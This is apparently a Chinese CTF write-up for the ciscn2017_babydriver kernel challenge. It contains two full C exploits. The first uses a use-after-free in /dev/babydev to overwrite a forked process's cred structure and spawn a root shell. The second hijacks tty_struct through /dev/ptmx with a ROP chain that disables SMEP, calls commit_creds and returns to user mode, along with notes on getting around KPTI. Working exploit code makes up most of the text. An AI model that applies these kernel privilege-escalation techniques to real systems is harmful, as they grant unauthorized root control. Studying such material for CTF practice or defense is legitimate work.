kernel UAF && 劫持tty_struct

ciscn2017_babydriver

exp1

fork进程时会申请堆来存放cred。cred结构大小为0xA8。修改cred里的uid,gid为0,即可get root

#include<stdio.h>
#include<fcntl.h>
#include <unistd.h> int main()
{
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
char buf[28] = {0};
if(fd1 < 0 || fd2 < 0)
{
puts("[-] open error");
exit(-1);
} ioctl(fd1, 0x10001, 0xa8);
close(fd1); int pid = fork();
if(pid < 0)
{
puts("[-] fork error");
exit(-1);
}
else if(pid == 0)
{
write(fd2, buf, 28);
if(getuid() == 0)
{
puts("[+] root now");
system("/bin/sh");
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}

exp2

打开ptmx时会申请一个大小为0x2e0的结构体tty_struct(size_t)tty_struct[3]的位置是tty_operations里面存放了函数指针,劫持这个结构体可实现栈迁移。

劫持write指针,则raxtty_operations的地址,劫持ioctl指针,则rcxtty_operations的地址

补充一下:在开启 KPTI 的情况下直接返回用户态会 segmentation fault,可以把原来的返回地址 get_shell 函数设为 signal 信号的处理函数,这样原先的 swapgs ; iretq 的方法就可以继续用了。(signal(11, (size_t)get_shell)

当然我们可以直接用 swapgs_restore_regs_and_return_to_usermode 直接绕过 KPTI,可能由于本题内核是一个过渡版本还没有KPTI而是PTI,我并没能找到这个函数。

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h> size_t vmlinux_base, offset, commit_creds = 0xffffffff810a1420, prepare_kernel_cred = 0xffffffff810a1810;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000; void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
} void get_shell()
{
if (getuid() == 0)
{
puts("[+] get root");
system("/bin/sh");
puts("[*] get shell");
}
else
{
puts("[-] get shell error");
sleep(5);
exit(0);
}
} void get_root()
{
//commit_creds(prepare_kernel_cred(0))
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
} int main()
{
signal(11, (size_t)get_shell);
size_t rop[0x100] = {0};
size_t user_buf[0x100] = {0};
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[35] = {0}; save_status();
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
if(fd1 <0 || fd2 < 0)
{
puts("[-] open babydev error");
sleep(5);
exit(0);
} ioctl(fd1, 0x10001, 0x2e0);
close(fd1); int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
if(fd_tty < 0)
{
puts("[-] open ptmx error");
sleep(5);
exit(0);
} int i = 0;
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss; fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp, rax; fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret;
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp, rax; read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations; write(fd2, fake_tty_struct, 32); write(fd_tty,"FXC",3);
return 0;
}

最新文章

  1. 原来cursor:可以这样改变鼠标样式
  2. About Mysql 5.7 Installation
  3. C# 标准差计算
  4. C# lambda表达式及初始化器
  5. 入门之--linux配置php
  6. Jordan Lecture Note-11: 典型相关分析(Canonical Correlation Analysis, CCA).
  7. 20160515-hibernate--事务
  8. [C++程序设计]有关形参与实参,及返回值说明
  9. EC读书笔记系列之7:条款12 复制对象时勿忘其每一个成分
  10. JavaScript正则表达式函数总结
  11. django-rest-framework 注意事项
  12. android ndk编译项目(android-ndk-16r1)
  13. html 表单input录入内容校验
  14. P5239 回忆京都(洛谷3月月赛T2)
  15. 基于SSM框架贺州学院校园二手交易平台设计与实现
  16. CSS中的继承
  17. Unity shader学习之阴影,衰减统一处理
  18. mongodb分享(二)
  19. 录制Android屏幕软件——屏幕录像专家
  20. uboot烧写命令--yaffs、jiffs和ubifs

热门文章

  1. Java 中用到的线程调度算法是什么?
  2. Eclipse建立Web项目,手动生成web.xml文件
  3. 转:怎样理解OOP?OOP又是什么?
  4. List、Set、Map 和 Queue 之间的区别?
  5. 基于Python3实现的各类数据库连接和连接池
  6. 学习ELK日志平台(二)
  7. 学习RabbitMQ(三)
  8. 用纯RUST手撸一个开源流媒体服务(RTMP/HTTPFLV/HLS)XIU
  9. python-班级人员信息统计
  10. mapreduce分区